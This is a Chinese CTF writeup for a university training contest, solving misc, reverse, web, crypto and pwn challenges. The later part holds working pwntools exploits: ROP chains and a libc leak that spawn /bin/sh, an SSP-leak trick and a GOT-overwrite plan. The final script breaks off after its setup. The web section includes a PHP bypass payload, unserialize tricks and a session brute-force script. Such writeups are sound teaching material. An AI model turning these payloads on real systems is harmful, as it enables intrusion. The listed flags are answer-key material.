ISLab 结训赛 Writeup


本文最后更新于:2020年8月9日 早上

By: $SpaceSkyNet$

校内 ISLab 结训赛结束了,但是要写WP,所以我来复盘了(幸好每道题做的时候都截了点图,简单写了过程,手动狗头🐕)

总得来说,大部分题不难,但是有点坑(剩下的题就不会做了)……

MISC

只做出一道题(虽然只有两道)……

玩玩音频

下载附件:ハセガワダイスケ 菅野祐悟 - 杜王町Radio.wav hint:这么简单的题目,没有提示

flag格式:flag{XXX_XXX},词汇之间使用下划线分割,全部字母大写。遇到不认识的词汇就当成是一个好了。

放了一遍,听到了摩斯电码的声音,果断用Audacity打开(要用AE也不拦着),在默认波形图的右声道看见了摩斯电码,手动弄下来(以后还是写个脚本算了

oLSvJ.png

波形图右声道:-. .-- .--- --.. -.-- ...- -.. -.. ... -.-. --. .-. --.- -.. - --.- -..- . -.-. .-. -.- --. -.-- --- - --. .. .-.. ..-. --. -.-. .-.. .... .-- .. -.-- - .... ...- -..  -. -- -..- .-.. - .-- ..- --.. .--- -.-. --.- .- -- .-- ...- --. --.- .-- .-- .-. ...- .-.. -.-- ...- .--. ...- ..- -- -..- --.. ...- --.. . -... --. .-.. -...

摩斯电码解密,得到:

NWJZYVDDSCGRQDTQXECRKGYOTGILFGCLHWIYTHVDNMXLTWUZJCQAMWVGQWWRVLYVPVUMXZVZEBGLB

看起来毫无规律,继续找信息,在频谱图左声道发现信息。

oLy4m.png

频谱图左声道:KILLER QUEEN

猜想KILLER QUEEN为某种密码的密钥,尝试多种后,确定是维吉尼亚密码。

但发现只有前面几个字母能组成单词,说明密钥应该没有空格,为KILLERQUEEN,得到:

DOYOUENJOYTHISIMGOINGTOGIVEUPMYHUMANIDENTITYJOJOFLAGISIWILLNEVERLIKEMORIOHCHO

“人工智能”用下划线分词,得到(其实前半截不用管):

DO_YOU_ENJOY_THIS_IMGOING_TO_GIVE_UP_MY_HUMAN_IDENTITY_JOJO_FLAG_IS_I_WILL_NEVER_LIKE_MORIOHCHO

最终得到flag:

flag{I_WILL_NEVER_LIKE_MORIOHCHO}

(又是JOJO,我也是醉了)

RE

unpackme

rc4同学拿到了一个奇怪的可执行文件,你能帮帮他吗?

file命令一看,ELF x64,ida走起,发现有upx壳,直接脱了(其实正常操作是你先运行一遍,会提示你有upx壳)。

继续ida,定位到main函数,发现使用了rc4加密(其实看题面也知道)

key(密钥)和pData(密文)复制出来,自己写个rc4(搜一个或者用现成的库也行)解密即可。

#include<stdio.h>
#include<time.h>
#include<string.h>
#include<stdlib.h> 
#define MAX 65534

int S[256]; //向量S
char T[256];    //向量T
char Key[256] = "4C7AEB6C4B8640E59A7919B39BABAFE8"; 
int KeyStream[MAX]; //密钥
char CryptoText[MAX];
void init_S()
{
	for(int i = 0; i < 256; i++)
	{
		S[i] = i;
	}
}

void init_Key()
{
	// 初始密钥
	int keylen = strlen(Key);
	for(int i = 0; i < 256; i++)    //初始化T[]
	{
		T[i] = Key[i%keylen];
	}
}

void  permute_S()
{
	// 置换S;
	int j = 0;
	for(int i = 0; i < 256; i++)
	{
		j = (j + S[i] + T[i]) % 256;
		S[i]^=S[j]^=S[i]^=S[j];
	}
}

void create_key_stream(int textLength)
{
	// 生成密钥流
	int i,j;
	int t, k;
	int index = 0;
	i = j = 0;
	while(textLength --)    //生成密钥流
	{
		i = (i+1)%256;
		j = (j + S[i]) % 256;
		S[i]^=S[j]^=S[i]^=S[j];
		t = (S[i] + S[j]) % 256;
		KeyStream[index] = S[t];
		index ++;
	}
}
void Rc4EncryptText(int *text, int textLength)
{
	//加密 && 解密
	init_S();
	init_Key();
	permute_S();
	create_key_stream(textLength);
	printf("============开始解密============:\n");
	for(int i = 0; i < textLength; i++)
	{
		CryptoText[i] = (char)(KeyStream[i] ^ text[i]); //加密
	}
	for(int i = 0; i < textLength; i++)
	{
		printf("%c", CryptoText[i]);
	}
	printf("\n============解密完成============\n"); 
}

int main()
{
	int c[200] = {0x9, 0xF0, 0x44, 0x4A, 0xD9, 0xE7, 0x80, 0x13, 0xA6, 0x1E, 0x0F, 0x8C, 0xEB, 0x75, 0x29, 0x57, 0x3B, 0x4B, 0xEF, 0x46, 0x76, 0xD4, 0xFF, 0xB6, 0xEE, 0x0C, 0x71, 0x6B, 0x69, 0xC9};
	Rc4EncryptText(c, 30);
	system("pause"); 
	return 0;
}

编译运行得到flag:

flag{oh you know upx and rc4!}

WEB

签到

皮虾乐队的贝斯手不见了

首先查看网页html源码,发现两个可疑字符串。

<!--{543557687D537D7B3372563D2A7E28566C7A405E564D6B565A54323F7534564D6C3068564D6C3061}-->
<!--543557687D537E474D71543341586F5354613F34563E34604B576D484F66573E47796F-->

长度都为偶数,首先想到hexstr,得到下面两个字符串。

T5Wh}S}{3rV=*~(Vlz@^VMkVZT2?u4VMl0hVMl0a
T5Wh}S~GMqT3AXoSTa?4V>4`KWmHOfW>Gyo

有点奇怪,不是常见的加密方式,但是看到题面,应该是属于base家族的,多试几个,突然想起pythonb85decode,解密得到了两个base64字符串。

ZmxhZ19pc19ub3RfaGVyZV9oaGhoaGhh
ZmxhZ3t2ZXJ5X2Uyc3lfeTJzfQ==

解密,得到flag(第二行):

flag_is_not_here_hhhhhha
flag{very_e2sy_y2s}

(我出的iscc题里面也有base85,大家可以试试链接)

速度要快

Ash是一名爆破专家,是一名突破手

打开网站,发现是道php代码审计题。

//index.php
<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
    $_SESSION['nums'] = 0;
    $_SESSION['time'] = time();
    $_SESSION['whoami'] = 'ezpass';
}

if($_SESSION['time']+5<time()){
    session_destroy();
}

$Ash = $_REQUEST['Ash'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($Ash[0].$Ash[1]) && substr(md5($Ash),5,4)==0){
    $_SESSION['nums']++;
    $_SESSION['whoami'] = $str_rands;
    echo $str_rands;
}

if($_SESSION['nums']>=20){
    echo $flag;
}

show_source(__FILE__);
?>

要求:

  1. $5$秒钟之内让$_SESSION['nums']计数达到$20$。

  2. $Ash[0].$Ash[1]要和$_SESSION['whoami']相等,$_SESSION['whoami']第一次是ezpass,后面为随机生成长度为2的小写字母字符串并输出,每次修改。

  3. substr(md5($Ash),5,4)==0可以用数组绕过,且不影响$Ash[0].$Ash[1]

所以思路很清晰,写个python脚本爆破就行(如果你手速跟得上当我没说

import requests,time

website = 'http://xiabee.cn:10001' #对应题目地址
url = "{}/?Ash[]=ezpass".format(website)

s = requests.Session()
start = time.time()
r = s.get(url)
for i in range(25):
    url = "{}/?Ash[]=".format(website) + r.content[0:2].decode()
    r = s.get(url)
    if i > 20:
        print(i, r.url, r.content[:100], r.content[-100:])
end = time.time()
print('Time:{}s'.format(end - start))

运行得到flag:

flag{boom_ez_j7st_d01t!}

(其实我还想写个Julia脚本来着的,不过python速度够了)

PHP真爱粉

PHP是世界上最好的语言(吗

打开网站,发现仍然是道php代码审计题。

//index.php
<?php
highlight_file(__FILE__);
include('flag.php');
if ($_GET['xiao'] > 99999999 && strlen($_GET['xiao']) < 5)
    echo "Well Done!".'<br>';

if (isset ( $_GET ['yu'] )) {
    $yu = $_GET ['yu'];
    if (is_numeric($yu))
        die('Wrong Input!');
    else{
        switch ($yu) {
            case 0 :break;  
            case 1 :break;
            case 2 :echo "$flag";break;
            default :echo "azhe?";break;
        }
    }
}
?> 

发现只要绕过is_numeric并让switch认为$yu是$2$就ok,所以直接异或绕过。

payload:http://xiabee.cn:10003/?yu=2^0

得到flag:

flag{p1h_1s_s0_ez}

Trick trick

一个反序列化的小trick

打开网站,结果还是道php代码审计题,不过是反序列化的。

<?php
error_reporting(0);
include "class.php";
highlight_file(__FILE__);


if (isset($_GET['last'])) {
    $last = $_GET['last'];
    if (!stristr($last, "flag")) {
        unserialize($last);
        echo "<br>"."you find it";
        // class is getF: public key
        // must key="flag"
    }
}
?>

如果没有stristr过滤flag,payload如下:

O:4:"getF":1:{s:3:"key";s:4:"flag";}

过滤了其实也简单,因为序列化格式中使用S就可以有16进制字符,所以修改过的payload如下(具体可见这里):

O:4:"getF":1:{s:3:"key";S:4:"\66lag";}

得到flag:

flag{unserialize_have many_tricks!}

头等舱

还记得10.0.0.55的备用地址是什么吗

看题面应该是个需要修改请求头的WEB题,所以先用Burp Suite抓包。

首先提醒Wrong Method!,说明请求的方式不对,试了几个,发现PUT请求是正确的。

接着是GG browser is so Great!,说明需要修改UA,尝试修改为GG,正确。

然后是Only localhost can access.,说明需要修改Referer,改为127.0.0.1,正确。

最后是must jump from 10.0.0.55, but it seems down.,说明需要修改X-Forwarded-For,并且是备用地址,改为10.0.0.53

ouAlY.png

得到flag:

flag{eeeeaaaasyyyyy_ch2nge}

剩下一道做不来了

CRYPTO

babyRSA

simple rsa

n = 2175688405733541703870452086626738401792220260185622845647

e = 0x10001

c = 909189959980475048848571460773306576585339198658788147448

入门RSA,而且$n$如此短,直接上factordb.com

然后……我们得到了3个质数?emm……$3$个?!

的确有点怪,但是去搜搜多素数RSA,还真有,具体可看多素数RSA系统简介

所以一样算$\phi(n)$,由欧拉函数的积性,可得$\phi(n) = \phi(p) \times \phi(q) \times \phi(r)$($p,q,r$为分解出的质数)

即$\phi(n) = (p-1) \times (q-1) \times (r-1)$

然后和普通的RSA一样求模逆得到$d$,然后去解密$c$即可。

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import gmpy2

n = 2175688405733541703870452086626738401792220260185622845647
p, q, r = 12174597259764339563, \
            12211006709935453691, \
            14634929140319987959
phi_n = (p - 1) * (q - 1) * (r - 1)
e = 0x10001
c = 909189959980475048848571460773306576585339198658788147448
d = gmpy2.invert(e, phi_n)
M = bytes.fromhex(hex(pow(c,d,n))[2:])
print(M.decode())

得到flag:

flag{RsA_s0_3asiii!}

Random

老师说计算机里的随机数都是伪随机数

给了一个Python脚本,分析一下。

import random
import socketserver
from Crypto.Util import number
import os

flag = os.environ.get('flag', 'flag{test_flag}')
class EncryptHandler(socketserver.BaseRequestHandler):

    p = 1543
    iv = 792

    def encrypt(self, m: list):
        self.r1.seed(self.r1_key)
        self.r2.seed(self.r2_key)
        res = []
        w = self.iv
        for i in m:
            w = ((i + w + self.r1.randrange(0, self.p)) % self.p) * self.r2.randrange(0, self.p) % self.p
            res.append(w)
            w ^= self.random_key
        return res

    def setup(self):
        self.random_key = random.randrange(0, self.p)
        self.r1_key = random.randrange(0, self.p)
        self.r2_key = random.randrange(0, self.p)
        self.r1 = random.Random()
        self.r2 = random.Random()
        self.enc_flag = self.encrypt(list(flag.encode()))

    def handle(self):
        hello_msg = ('Hello, here gives you the encrypted Flag:\n'
        '{}\n'
        'You can type any msg, and I will give you the encrypted message\n'
        ).format(self.enc_flag)
        self.request.sendall(hello_msg.encode())
        while True:
            msg = self.request.recv(1024)[:-1]
            self.request.sendall((str(self.encrypt(msg)) + '\n').encode())


if __name__ == '__main__':
    HOST, PORT = '0.0.0.0', 12001
    with socketserver.ThreadingTCPServer((HOST, PORT), EncryptHandler) as server:
        try:
            server.serve_forever()
        except KeyboardInterrupt:
            server.shutdown()

交互式的Crypto题,每次的keys都不一样,但是每次可以无限次交互,得到自己输入的密文。

同时发现每次调用encrypt时,随机数种子都重新设置,就像题面说的,计算机里的随机数都是伪随机数,一旦每次的随机数种子一定,则不断调用randrange生成的随机数序列也一定,所以可以通过无限次交互爆破flag。

同时发现encrypt的算法与字符串整体无关,只与局部某一位上的字符有关,所以爆破的次数复杂度是满足加法原理的。

设flag字符串长度为$n$,可打印字符的个数为$charCounts$,即我们最多爆破$n \times charCounts$次(其实也就接近$2000-3000$次,还是往多了算)。

而且我们发现flag字符串满足flag{xxx}的结构,所以我们可以少爆破$6$个字符。

pwntools的交互功能写出Python脚本。

#!/usr/bin/python3
# -*- coding: utf-8 -*-

from pwn import *
import os
__dir__ = os.path.dirname(__file__)

chars = r'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_+-*/\?><.,=!@#$%^&()[]{}~`;:'

context.log_level = 'debug'
io = remote('txcloud-bj3.felinae98.cn', 12001)
io.recvuntil('Hello, here gives you the encrypted Flag:\n')
r = io.recv().split(b'\n')[0]
flag_en = eval(r)
#print(r, flag_en)
flag_len = len(flag_en)
flag_str = 'flag{'
io.sendline(flag_str)
assert(eval(io.recv().split(b'\n')[0]) == flag_en[:len(flag_str)])
for i in range(len(flag_str), flag_len - 1):
    for c in chars:
        io.sendline(flag_str + c)
        r = eval(io.recv().split(b'\n')[0])
        if r[i] == flag_en[i]:
            flag_str += c
            break
flag_str += '}'
io.sendline(flag_str)
assert(eval(io.recv().split(b'\n')[0]) == flag_en)
print(flag_str)
io.close()

爆破得到flag:

flag{S1mpLest_cRyp0!}

Small e

这次分解不了了

仍然是RSA,不过这次的$n$过大,没法分解,但是$e$很小,为$3$,且有$3$组不同$n$以及对应的密文,所以可以使用Hastad广播攻击。

具体原理见CTF中的RSA基本套路(4)及其参考资料。

代码如下(这里使用Sage,需要自己安装,稍微有点大):

#!/usr/bin/python3
# -*- coding: utf-8 -*-
from sage.all import PolynomialRing, ZZ, Zmod, crt, reduce

Cs = [9879971463914625690975893241580185387981496369356734957012721513373144938753569045503323744985869516225432489622517950293366904764152664636972215860898639778481845669980292323448545868723176321988532040102362409575435129737188286227622375002577654117407187235639039788403421568330907783489740293783760374579674272228953702822209345735718037784007905107507640441789566148023418182843850856028272425280660185409774791229291736804113219546032069271224441643592470352853688723172019556711071350797050854277490132448056258928350601925843959503438270798312618141538795176843674864017991973083157087900179066637653967471786, \
    18601174471639330838673755997627097179717053665843260588739160926694895023115719989743218032177933064024790567417281962648968287556842258818888225805040849173826497707326525590383774570277339562504216146208571367319040674013938991326596042075188486353554578994481344994910413567203491400010042812019323116569805264327599429345975064505984904064402357370098622911816024581171930600566133580491190247014980742239289588062485016239992005485018607729737084787372336151888759198583123570341162243303928994460199822642294565067160393816192370390199699022295478284192467413238687379911409873590966380239175755869062503249758, \
    16232129131608810282413937706144487240626338624250308577834225698445782468881682329646696899789457330498386668165599055270602304521900866238477820450745745574235835329025428831975135564432471301944638869445512637388111199953848153394755434332731325017811903037131194504517921570433491911858368670794242170207150194844396867824699460595352243616284981999437646934978307049377044110514736105768616893202608779347282837560546402961227548577594166063494153158225233408919063945070416486278018607780042733335959208255707942063870095648981102997015240784176457028384300754675188591655968245197618705494443537255712721037015    
    ]
Ns = [16067817932594307041570490664780805848472742222521209486359183294876659529608435557600537260250449433611595173684925374508467672404417859479495004093579610726032262914323802262015761804257474778421075371915604733039622965481151880946821099347099589181944483948769906556017986079391359211585782596464924468208449010284942962635113163737362978946256184113197172628780615797285233916435176242221439390878162794629364484926505774613228229646458189210171950867198879934364120504046273177961083687027937189811732509344365844834160229805810205081446686611488115226014344875552419979932806334691942178914927653481984541110621, \
    27220804436805864442162182442813759263069372128468811270228757759122242102746634331274204813645700606025198464757315069476396636457109385709010309093761124250367793217269514777894950749932026790104944920542415154470272710654996775902535083921322900858510081080526361203971974235685839596700898966986819478871421472486198215667112358892381840624555494963218129513959117765033488219148477371667129956523403726492811804971592929874287476692563269065787601147950636445646208059251015601569921025370871805357871922113088791024382926047840273911791193990034677955545643860434985638900984527560552087922124397003230357748287, \
    18003911632122599813425550392025295318460144538002420546091473342504066065913374478380723966510863927323450160422323963085439934919821408030000597030220444017446677275520530600602313223716913843706289020789546341254298514327568202682323289952838243830866298465249322960573348784191060837060844553425424656343221015762038900638842760791476620770787585512880263777811650363550291113188707834451876652168342500756621692207745249699478983220317963165032407100517970067554347460807373078643124640438035329791669756566825583763144347915561928759654089817337965531158175165510730703911869587267266225122572337924741504872421
    ]
e = 3

# solve
cnt = e
PR = PolynomialRing(ZZ, 'x') 
x = PR.gen()
Fs = []
for i in range(cnt):
    f = PR(x ** e - Cs[i])
    ff = f.change_ring(Zmod(Ns[i]))
    ff = ff.monic()
    f = ff.change_ring(ZZ)
    Fs.append(f)

F = crt(Fs, Ns)
M = reduce(lambda x, y: x * y, Ns )
FF = F.change_ring(Zmod(M))
m = FF.small_roots() # LLL
if m:
    m = hex(int(m[0]))[2:].strip('L')
    print(bytes.fromhex(m))
else:
    print('no ans')

运行得到flag:

flag{L0w_exp_1s_dAng3r!}

babyDES

一个超级简化版的DES,哪里出了问题

又给了一个Python脚本,分析一下。

import os
import base64
from Crypto.Util import number, strxor
from flag import flag

assert(len(flag) == 34)

def gen_key():
    return [os.urandom(17) for _ in range(8)]

def rnd(x: bytes, k: bytes):
    assert(len(x) == 34)
    l = x[:17]
    r = x[17:]
    _r = l
    _l = strxor.strxor(strxor.strxor(r, k), l)
    return _l + _r

def enc(x: bytes, keys):
    res = x
    for i in range(8):
        res = rnd(res, keys[i])
    return res

if __name__ == '__main__':
    test = os.urandom(34)
    keys = gen_key()
    enc_test = enc(test, keys)
    enc_flag = enc(flag.encode(), keys)
    print(base64.b64encode(test).decode())
    print(base64.b64encode(enc_test).decode())
    print(base64.b64encode(enc_flag).decode())

这个DES简化的过于厉害,我们发现rnd中的操作其实 等效于 $l$和$r$不断交换并异或,最后再和所有key的异或值异或。

所以我们并不需要知道所有key,我们只需要知道所有key的异或值即可。

而且我们已经有了一组明文和密文,所以就可以很容易得到所有key的异或值,从而解密enc_flag

import os
import base64
from Crypto.Util import strxor

def rnd_nokey(x: bytes):
    assert(len(x) == 34)
    l = x[:17]
    r = x[17:]
    _l = r
    _r = strxor.strxor(r, l)
    return _l + _r

def dec_nokey(x: bytes):
    res = x
    for i in range(8):
        res = rnd_nokey(res)
    return res

if __name__ == '__main__':
    test = base64.b64decode('w4C2TsB73uEIwk14cvQMP9m/nakb+Wh1ZvF70o6BZuHy9w==')
    enc_test = base64.b64decode('5+AplczBBKDQCWgudMjj8sLxU1K5mvFS7JS9xg1QdFxiJg==')
    flag_enc = base64.b64decode('L03S5WraHoNkN//llN17IUicEn7gh9elR1s1L9KduKa9AQ==')
    keys = strxor.strxor(dec_nokey(enc_test), test)
    flag = strxor.strxor(dec_nokey(flag_enc), keys)
    assert(len(flag) == 34)
    print(flag)

运行得到flag:

flag{F3ist3l_-n3tw0Rk_soEEEEEasy!}

babyHash

一个优秀的哈希函数要做到抗碰撞哦,老师说用了Merkle–Damgård结构的哈希函数,只要压缩函数抗碰撞,本身就可以抗碰撞

仍然给了一个Python脚本,分析一下。

import socketserver
from Crypto.Util import number
import itertools
from flag import flag 

class HashHandler(socketserver.BaseRequestHandler):

    iv =  b'"[\xc3\x02D( \xf1'

    def __padding(self, x: bytes):
        if len(x) % 8:
            pad_len = 8 - len(x) % 8
            return x + bytes([pad_len] * pad_len)
        else:
            return x

    def __compress(self, x: bytes):
        num = number.bytes_to_long(x)
        r = pow(num, 361268568442343347925, 664882992644331722007361840306123225067) & (2 ** 128 - 1)
        m = int(bin(r)[2::2], 2)
        s = m ^ (num >> 64)
        return number.long_to_bytes(s)

    def md(self, m: bytes):
        m = self.__padding(m)
        h = self.iv
        for i in range(0, len(m), 8):
            subm = m[i: i+8]
            h = self.__compress(h + subm)
        return h

    def handle(self):
        self.request.sendall(b'input a: ')
        a = self.request.recv(1024)[:-1]
        self.request.sendall(b'input b: ')
        b = self.request.recv(1024)[:-1]
        if a != b and self.md(a) == self.md(b):
            self.request.sendall((flag + '\n').encode())
        else:
            self.request.sendall(b'nononono')

if __name__ == '__main__':
    HOST, PORT = '0.0.0.0', 12002
    with socketserver.ThreadingTCPServer((HOST, PORT), HashHandler) as server:
        server.serve_forever()

又是交互式的Crypto题,需要输入$a$, $b$,只要$a$, $b$不相等且$a$, $b$的hash值相等就得到flag。

发现__compress函数应该抗碰撞,但是发现__padding太简单,很容易构造出来符合题意的(但是我卡了半天),比如:

a = b'\x00' * 7
b = b'\x00' * 7 + b'\x01' * 1

所以用pwntools的交互功能把$a$, $b$发过去再接收就可以得到flag:

flag{pAdding_15_v3rY_1mp0rtant}

(可以看看这些

剩下一道做不来了…………小山是看了wyxdl的WP后写出的)

小山

哪怕老师听不懂你的想法,也不要用黑板擦砸他

还是一个Python脚本,分析一下。

from flag import flag
from Crypto.Util import number
code = [] # 为 272 个大数,为节省空间就不写了
assert(len(flag) == 34)
m = number.bytes_to_long(flag.encode())
c = 0
for s in code:
    temp = s & m
    res = 0
    while temp:
        res ^= (temp & 1)
        temp >>= 1
    c *= 2
    c += res

print(c)

code中的每一个作为掩码,和m&得到的temp去计算二进制有奇数还是偶数个1,结果存在c中……如果多想点,其实不就是个异或的线性方程组吗……

flag的每一个二进制位作为未知数,code的每个数的二进制每位作为一个方程的系数,c的二进制每位作为每个方程的右端的值,然后高斯消元就可以了……

代码如下(借用了下wyxdl的高斯消元,稍微修改简洁了一点):

#!/usr/bin/python
# -*- coding: utf-8 -*-

from consts import code, c # 大数 code, c 置于 consts.py 文件中
import os

def intTo01List(x: int): #整数转为01列表
    bin_x = bin(x)[2:]
    list_x = list(map(int, bin_x))
    return list_x

def codeToMatrix(code, c):
    coeff = []
    list_c = intTo01List(c)
    max_col_len = 0
    for i, s in enumerate(code):
        list_s = intTo01List(s)
        list_s.append(list_c[i])
        max_col_len = max(len(list_s), max_col_len)
        coeff.append(list_s)
    for i, s in enumerate(coeff): # 二进制位数补齐
        len_s = len(s)
        if len_s < max_col_len: 
            s = [0] * (max_col_len - len_s) + s
        coeff[i] = s
    return coeff

def Gauss(Row: int, Column: int, A: list):
    row, col, max_r = 0, 0, 0
    X_Ans = [0 for _ in range(272)]
    while row < Row and col < Column:
        max_r = row
        for i in range(row + 1, Row): # 找出当前列最大值
            if (A[i][col]) > (A[max_r][col]): max_r = i
        if max_r != row:  # 交换
            A[row], A[max_r] = A[max_r], A[row]
        for i in range(row + 1, Row):  # 消元
            if A[i][col] == 0: continue
            for j in range(col, Column + 1):
                A[i][j] ^= A[row][j]
        row += 1
        col += 1

    for i in range(row, Row):  # 无解
        if A[i][Column] != 0:
            return -1, 0

    if row < Column:  # 无穷多解
        return Column - row, 0

    for i in range(Column - 1, 0 - 1, -1):
        X_Ans[i] = A[i][Column]
        for j in range(i + 1, Column):
            X_Ans[i] ^= A[i][j] & X_Ans[j]
    
    return 0, X_Ans

if __name__ == "__main__":
    AMatrix = codeToMatrix(code, c)
    retCode, Ans = Gauss(272, 272, AMatrix)
    if retCode != 0: os._exit(0)
    ans = ''
    for i in range(272):
        ans += str(Ans[i])
    ans = hex(int(ans, 2))[2:]
    if len(ans) % 2: ans = '0' + ans
    print(bytes.fromhex(ans).decode())

运行得到flag:

flag{Y0u_ar3_tHe_maSTer_0f_CRYPTO}

这个扔黑板擦的是伽罗华

PWN

qiandao-pwn

checksec发现是64位ELF且只开启了NX保护。

ida分析,发现main函数和一个sh函数,main函数里有gets,存在栈溢出漏洞。

ouu9N.png

发现sh函数需要传入一个str字符串与meow一致才能getshell,所以用ROPgadget找到pop rdi ret的gadget,让rdi指向meow字符串的地址,再调用sh函数getshell。

脚本如下:

#!/usr/bin/python3
# -*- coding: utf-8 -*-

from pwn import *
import os
__dir__ = os.path.dirname(__file__)

context(os = 'linux', arch = 'amd64', log_level = 'debug')
pwn_file = os.path.join(__dir__, 'qiandao')
elf = ELF(pwn_file)
#io = process(pwn_file)
io = remote('everything411.top', 10014)
pop_rdi_ret = 0x401263
str_addr = 0x402004
rand_val = 0xdeadbeefdeadbeef
sh_addr = elf.symbols['sh']

payload = b'a' * 0x100 + p64(rand_val) + \
		p64(pop_rdi_ret) + p64(str_addr) + \
    	p64(sh_addr)
io.sendline(payload)
io.interactive()
io.close()

交互得到flag:

flag{701ee0aa-4b7e-4b56-b139-e5bf13cfb6a3}

qiandao2

do you know one_gadget?

checksec发现仍然是64位ELF且只开启了NX保护。

ida分析,发现main函数和一个sh函数(这个没用),main函数里有gets,存在栈溢出漏洞。

题目说用one_gadget,但是由于做题时某些原因网不好,ruby也没安装,所以自己简单构造了ROP链搞定。

不管one_gadget还是自己构造ROP链,首先得泄露一个libc的函数,减去偏移得到libc的基地址。

整体过程:

  1. 找到pop rdi ret的gadget,gets栈溢出泄露libc_start_main_got并返回main函数开头以继续利用栈溢出。

  2. 减去偏移得到libc的基地址,计算system/bin/sh地址。

  3. 再次gets栈溢出getshell。

代码如下:

#!/usr/bin/python3
# -*- coding: utf-8 -*-

from pwn import *
import os
__dir__ = os.path.dirname(__file__)

context(os = 'linux', arch = 'amd64', log_level = 'debug')
pwn_file = os.path.join(__dir__, 'qiandao2')
libc = ELF(os.path.join(__dir__, 'x64_libc.so.6'))
elf = ELF(pwn_file)
#io = process(pwn_file)
io = remote('everything411.top', 10015)

puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main_addr = elf.symbols['main']
pop_rdi_ret = 0x401233
offset = 0x100
rand_val = 0xdeadbeefdeadbeef
payload = b'a' * offset + p64(rand_val) + \
        p64(pop_rdi_ret) + p64(libc_start_main_got) + \
        p64(puts_plt) + \
        p64(main_addr)

io.sendline(payload)

r = io.recv().ljust(8, b'\x00')
print(r)
libc_start_main_addr = u64(r[:8])
print(hex(libc_start_main_addr))

libcbase = libc_start_main_addr - libc.symbols['__libc_start_main']
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))

print(hex(system_addr - libcbase), hex(binsh_addr - libcbase))

payload = b'A' * offset + p64(rand_val) + \
        p64(pop_rdi_ret) + p64(binsh_addr) + \
        p64(system_addr)

io.sendline(payload)
io.interactive()
io.close()

交互得到flag:

flag{36bf0a9b-f5e1-43da-a501-de021b0dd182}

let’s overwrite

服务器上的可执行文件除了flag文本的本身内容不同以外,其他都完全相同

tips: stderr is available, beware of the output. no need to get a shell.

checksec发现还是是64位ELF,但是开启了NX和Canary保护。

ida发现并没有什么可以泄露Canary的办法,而且看题面和ELF程序名称,知道是SSP leak,flag就在str字符串开头,我们只需要用某个保存flag地址覆盖libc_argv[0]通过__stack_chk_fail的错误信息就可以得到flag了。

不过,关键是哪个地址呢?我们gets时就覆盖了flag,而且也没找到它的副本(反正我没找到)……

over_write.png

不过……还有个地方,就是给str赋值的汇编代码段,那里是固定的,而且代码段.text一定可读,所以我们就泄露汇编的hex字符串吧,删掉汇编指令的hex字符,就可以得到flag

代码如下:

#!/usr/bin/python3
# -*- coding: utf-8 -*-

from pwn import *
import os
__dir__ = os.path.dirname(__file__)

context(os = 'linux', arch = 'amd64', log_level = 'debug')
pwn_file = os.path.join(__dir__, 'ssp')
elf = ELF(pwn_file)
io = process(pwn_file)
io = remote('everything411.top', 10098)
mov_flag_addr = 0x4011FD #0x4011B9

#gdb.attach(io)
io.sendlineafter('let\'s overwrite the flag\n', p64(mov_flag_addr) * 200)
print(io.recv())
io.sendline()
io.interactive()
io.close()

泄露两次(0x4011FD0x4011B9)拼接得到的字符串:

b'H\xb8flag{oohH\xba_you__knH\x89\x85\xf0\xfe\xff\xffH\x89\x95\xf8\xfe\xff\xffH\xb8ow_!!_??H\xba_ssp_leaH\x89\x85H\xc7\x85\x10\xff\xff\xffk!!}H\xc7\x85\x18\xff\xff\xff'

删掉汇编指令的hex字符,得到flag:

flag{ooh_you__know_!!_??_ssp_leak!!}

C-programming-homework

类型转换的魔法

checksec发现依旧是64位ELF且只开启了NX保护。

同时附送了C源码,分析一下:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
long long stack[0x100]; // 栈
int p; // 栈顶,栈只有0x100长度,用int好了
long long pop()
{
    return stack[--p];
}
void push(long long s)
{
    stack[p++] = s;
}
void setp(long long s)
{
    p = s;
}
int main(int argc, char const *argv[])
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    char str[100];
    long long s; // 试一试刚学的long long

    while (1)
    {
        fgets(str, 50, stdin);
        if (!strcmp(str, "pop\n") )
        {
            if (p == 0)
            {
                puts("stack empty!");
                continue;
            }
            
            s=pop();
            printf("%#llx\n", s);
        }
        else if (!strcmp(str, "push\n"))
        {
            if (p>=0x100)
            {
                puts("stack full!");
                continue;
            }
            
            scanf("%llx", &s);
            getchar();
            push(s);
        }
        else if (!strcmp(str, "setpointer\n")) // 调试用
        {
            scanf("%llx", &s);
            getchar();
            if (s < 0) // 不能是负数!
            {
                puts("no negative number allowed!");
                continue;
            }
            setp(s);
        }
        else if (!strcmp(str, "exit\n"))
        {
            puts("bye");
            exit(0);
        }
        else
        {
            puts("error");
        }
    }
    return 0;
}

通过分析和题面,我们可以通过long longint类型转换的魔法,通过setpointerp变为负数,通过其它操作读取,修改stack

//可以通过下面程序试验一下
#include<stdio.h>
int main()
{
	int c = 0;
	long long d = (~0U) + 1ll;
	c = d;
	printf("%d %lld\n", c, d);
	return 0;
}

所以我们有了负数的p可以干什么?由于ELF文件里bss段的地址比got段高,所以我们可以通过操作负数的p来泄露一个libc的函数,减去偏移得到libc的基地址,并修改一个libc的函数(分析发现我们可以修改strcmp)的got表使它指向system/execv

整体过程:

  1. 先执行一次pop操作,使puts_got绑定libc中的地址(如果泄露setbuf就可以不用进行这个操作)。
  2. 通过计算stack首地址与puts_got的距离,使用setpointer使负数的p指向puts_got + 1(因为pop操作是--p),并用pop操作得到puts_got
  3. 减去偏移得到libc的基地址,计算system地址。
  4. 计算stack首地址与strcmp_got的距离,使用setpointer使负数的p指向strcmp_got,并用push操作修改strcmp_got指向system
  5. 再次传入/bin/sh,成功getshell

代码如下:

#!/usr/bin/python3
# -*- coding: utf-8 -*-

from pwn import *
import os
__dir__ = os.path.dirname(__file__)

context(os = 'linux', arch = 'amd64', log_level = 'debug')
pwn_file = os.path.join(__dir__, 'homework')
libc = ELF(os.path.join(__dir__, 'x64_libc.so.6'))
elf = ELF(pwn_file)
# io = process(pwn_file)
io = remote('everything411.top', 10013)
